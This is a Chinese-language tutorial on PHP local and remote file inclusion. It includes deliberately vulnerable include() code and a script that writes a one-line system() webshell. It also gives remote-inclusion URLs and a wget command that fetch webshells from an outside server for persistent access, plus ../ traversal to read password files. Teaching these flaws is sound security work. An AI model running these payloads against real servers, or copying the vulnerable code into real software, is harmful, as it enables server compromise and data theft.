详解文件包含漏洞
文件包含漏洞触发前提:
allow_url_fopen = On && allow_url_include = Off 此时才可以触发本地文件包含漏洞
allow_url_fopen = On && allow_url_include = On 此时才可以触发远程文件包含漏洞
其中,allow_url_fopen一直都是默认开启的,而allow_url_include从PHP5.2之后就是默认关闭的了
涉及到的危险函数:
include(),include_once()
require(),require_once()
include()&&require() 的区别:
include() 产生一个警告而 require() 则导致一个致命错误。也就是include()包含不到文件时还是会继续运行脚本,而require()包含文本时却又没有这个文本就会终止运行脚本。
include_once()&&require_once() 的区别:
他俩就是保证在代码被包括后就不会再包括,保证了在文件包含时只能包含一次。
当前期的系统配置支持的情况下,不合理的使用文件包含,就可能造成文件包含漏洞。
一.本地文件包含
比如当我们的127.0.0.1/include/fi_local.php文件中有下面源码,并且include目录下含有phpinfo.php的时候
代码截取:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
//通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现本地文件的包含
原本是想让我们直接提交127.0.0.1/include/fi_local.php?filename=phpinfo.php&submit=提交查询,此时就可以直接包含phpinfo.php 文件,而当你不以正常想法去包含这个phpinfo.php文件的时候,而是去包含一个不存在的test.php文件时就会出现下面报错
Warning: include(include/test.php): failed to open stream: No such file or directory in ……/include/fi_local.php on line 23
Warning: include(): Failed opening 'include/test.php' for inclusion (include_path='.;C:\php\pear') in ……/include/fi_local.php on line 23
当然,我们还可以创建一个写入了<?php phpinfo(); ?> 的hello.txt文件或者hello.jpg文件,只要是写入了php语言的任意文件,都可以被文件包含当做php文件读取出来。
此时我们提交127.0.0.1/include/fi_local.php?filename=hello.txt&submit=提交查询
就可以查询php环境信息,模块和web环境。
二.远程文件包含
代码截取:
比如当我们的127.0.0.1/include/fi_remote.php文件中有下面源码,并且include目录下含有phpinfo.php的时候
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";
//通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现远程文件的包含
此时,我们在127.0.0.1/file/路径下创建一个文件yijuhua.txt
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[hacker]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
此时我们访问127.0.0.1/include/fi_remote.php
通过Get方式提交:?filename=http://127.0.0.1/file/yijuhua.txt&submit=提交查询 时,就会生成一个一句话木马文件 yijuhua.php
<?php system($_GET[hacker]);?>
然后我们就可以通过蚁剑连接一句话木马
当然,既然可以这样实现木马文件的创建,我们就可以在自己的服务器上放置一个写好了的webshell
http://192.168.1.xxx/web/webshell.php
然后通过远程文件包含漏洞去下载这个webshell
http:xxx.xx.x.xxx/……/fi_remote.php?filename=http://192.168.1.xxx/web/webshell.php&submit=提交查询
文件包含漏洞的危害
通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!
文件包含漏洞的利用
一、读取目标主机上的其他文件,主要是本地文件包含。
由于一些参数没有经过过滤,我们就可以通过多次探测可能包含的文件,从而读取出目标主机中的一些敏感文件,在没有过滤 ../ 的时候,我们可以通过 ../ 来进行目录跳转,从而读取出其他目录下的文件,当然在../被过滤掉的情况下我们也可以直接通过绝对路径进行文件读取。
二、包含可运行的网页木马,主要是远程文件包含。
通过跳转到自己服务器中的webshell,也可以下载通过访问下载木马文件在目标主机中,也可以创建一个写入一些 weget 命令啥的cmd.txt文件在自己主机上,通过构造url去远程执行命令
weget命令可以下载指定URL的文件
pwd可以查看当前绝对路径
三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也就不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。